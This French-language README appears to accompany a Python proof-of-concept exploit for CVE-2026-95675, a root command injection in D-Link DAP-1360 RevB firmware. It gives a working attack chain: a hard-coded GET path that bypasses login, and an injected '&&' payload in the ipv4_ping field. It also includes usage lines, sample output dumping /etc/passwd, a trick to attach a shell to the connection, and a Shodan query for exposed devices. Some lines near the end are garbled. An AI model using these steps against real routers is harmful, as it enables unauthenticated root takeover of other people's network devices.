
PoC Python exploitant CVE-2026-95675, une injection de commande root non authentifiée dans le firmware D-Link DAP-1360 RevB via un contournement d'authentification codé en dur et le gestionnaire formSystemCheck.

Exécution de commande root à distance non authentifiée (CWE-78 — Injection de commande OS)
dans le gestionnaire formSystemCheck, accessible via une backdoor
d'authentification codée en dur. Vérifié sur DAP-1360 RevB, firmware 2.14B05.
Deux problèmes indépendants enchaînés :
1. Chemin de contournement d'authentification codé en dur. Dans main (httpd @ 0x4064c8) :
strcasecmp(request_path, "dEfWzDLOgIn") ; token @ 0x48046c
...
sw 1, 8(sp_login_slot) ; mark this source-IP as logged in
GET /dEfWzDLOgIn renvoie 404 (ce n'est pas un vrai fichier) mais, en
effet de bord, marque le slot de session de l'IP source requérante comme
authentifiée — aucun nom d'utilisateur, mot de passe ou captcha requis.
2. Injection de commande OS. formSystemCheck
(POST /apply.cgi?formSystemCheck) construit une commande shell avec :
_system("ping %s -c 2 >/tmp/test_ping", cgi("ipv4_ping"))
ipv4_ping est passé sans assainissement dans la chaîne de format ; _system() utilise
vsprintf dans un tampon de pile de taille fixe et le transmet à system(). Le gestionnaire
n'effectue aucune vérification d'authentification propre.
Le parseur de corps POST de busybox supprime ;, |, le backtick et le saut de ligne, mais
&& survit. Une charge utile doit terminer le préfixe ping puis s'enchaîner
avec &&, par exemple :
127.0.0.1 -c 1 && <command> > /www/out.htm && x
python3 autopoc.py <target> [command]
python3 autopoc.py 192.168.0.50
python3 autopoc.py 192.168.0.50 "ls -la /"
| Arg | Description |
|---|---|
target | hôte/IP cible (schéma par défaut http://) |
command (optionnel) | commande root à exécuter (par défaut : ) ; utilisez , pas /` |
GET /dEfWzDLOgIn — déclenche le contournement d'authentification codé en dur (renvoie 404 ; l'effet de bord se produit côté serveur).POST /apply.cgi?formSystemCheck avec ipv4_ping=127.0.0.1 -c 1 && <cmd> > /www/<OUT> && x — injection de commande root.GET /<OUT> — récupère la sortie de la commande (httpd sert les .htm/.html, pas les .txt).[*] target : 192.168.0.50
[*] command : cat /etc/passwd
[*] GET /dEfWzDLOgIn -> 404 (login slot flagged)
[*] POST /apply.cgi?formSystemCheck -> 302
[+] output (RCE.htm):
------------------------------------------------------------
root:x:0:0:root:/:/dev/null
nobody:x:0:0:nobody:/:/dev/null
------------------------------------------------------------
nc, wget, base64, chmod, id — utilisez cat, echo, ls, cp, etc._system(), sh <&5 >&5 2>&5 peut attacher un shell à la connexion active (fragile sous QEMU en mode utilisateur ; meilleur sur matériel réel).Shodan ("CAMEO-httpd", la bannière du fournisseur httpd) ne montre qu'un petit nombre
d'instances exposées sur Internet de cette base de code exacte ; l'appareil est principalement un
point d'accès côté LAN. L'exploitation nécessite que l'interface de gestion web
soit joignable.
cat /etc/passwd&&;